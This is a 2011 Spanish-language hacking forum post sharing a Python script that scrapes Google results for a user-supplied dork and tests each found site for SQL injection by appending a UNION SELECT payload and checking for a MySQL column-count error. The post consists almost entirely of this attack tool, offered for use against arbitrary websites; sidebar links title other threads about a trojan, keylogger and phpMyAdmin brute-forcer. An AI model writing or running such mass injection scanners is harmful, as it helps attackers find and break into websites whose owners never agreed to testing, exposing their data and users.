comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Python] Google Inyector By dODDY h

  • 0 Respuestas
  • 1000 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Julio 03, 2011, 09:34:58 pm »
Bueno , acabo de hacer un scanner de sqli.

Este busca en google paginas con un dork marcado por ustedes
, para despues borrar repetidos y scanear las webs encontradas


Código: Python
  1. #!usr/bin/python
  2. #Google Iny (C) Doddy Hackman 2011
  3.  
  4.  
  5. import urllib2,re,os,sys
  6.  
  7.  
  8. def head():
  9.  print "\n\n -- == Google Iny == --\n"
  10.  
  11. def copyright():
  12.  print "\n(C) Doddy Hackman 2011\n"
  13.  sys.exit(1)
  14.  
  15.  
  16. def toma(web) :
  17.  nave = urllib2.Request(web)
  18.  nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  19.  op = urllib2.build_opener()
  20.  return op.open(nave).read()
  21.  
  22.  
  23. def show():
  24.  print "\n[+] Sintax : ",sys.argv[0]," <dork> <count>\n"
  25.  
  26. def limpiar(pag):
  27.  
  28.  limpia = []
  29.  for p in pag:
  30.   if not (re.findall("http://www.google.com.ar",p,re.I)):
  31.    if p not in limpia:
  32.     limpia.append(p)
  33.  return limpia
  34.  
  35.  
  36. def sql(webs):
  37.  for web in webs :
  38.   if re.findall("=",web):
  39.    web = re.split("=",web)
  40.    web = web[0]+"="
  41.    try:
  42.     code = toma(web+"-1+union+select+1--")
  43.     if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  44.      print "[SQLI] : ",web,"\n"
  45.    except:
  46.     pass
  47.  
  48. def scan(dork,count):
  49.  pag = []
  50.  s = 10  
  51.  while s <= int(count):
  52.   try:
  53.    code = toma("http://www.google.com.ar/search?hl=&q="+str(dork)+"&start="+repr(s))
  54.    d = re.findall("(?<=\"r\"><. href=\")[^\"]+",code)
  55.    s += 10
  56.    for a in d:
  57.     pag.append(a)
  58.   except:
  59.    copyright()
  60.  pag = limpiar(pag)
  61.  
  62.  return pag
  63.  
  64. head()
  65.  
  66. if len(sys.argv) != 3:
  67.  show()
  68. else :
  69.  print "\n[+] SQL Scan Started\n"
  70.  print "[+] Dork : ",sys.argv[1]
  71.  print "[+] Count : ",sys.argv[2]
  72.  pages = scan(sys.argv[1],sys.argv[2])
  73.  print "\n[+] Webs Found : ",len(pages),"\n"
  74.  sql(pages)
  75.  
  76. copyright()
  77.  
« Última modificación: Julio 07, 2011, 07:03:54 pm por Sthefano02 »

 

¿Te gustó el post? COMPARTILO!



[Código] Yardas a metros - Metros a yardas [Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1340
Último mensaje Mayo 29, 2011, 01:27:34 am
por LucaSthefano
Python Trojan - By "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 1
Vistas: 1970
Último mensaje Abril 03, 2010, 11:01:59 pm
por Dharok
Python keylogger - by "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 0
Vistas: 1962
Último mensaje Abril 07, 2010, 03:30:22 am
por d33k40
[Código] Entero / No Entero [Ejercicio - Python]

Iniciado por LucaSthefano

Respuestas: 0
Vistas: 1299
Último mensaje Mayo 29, 2011, 01:24:09 am
por LucaSthefano
Python phpmyadmin "BruteForce"

Iniciado por linkgl

Respuestas: 2
Vistas: 2439
Último mensaje Agosto 19, 2011, 12:14:37 pm
por linkgl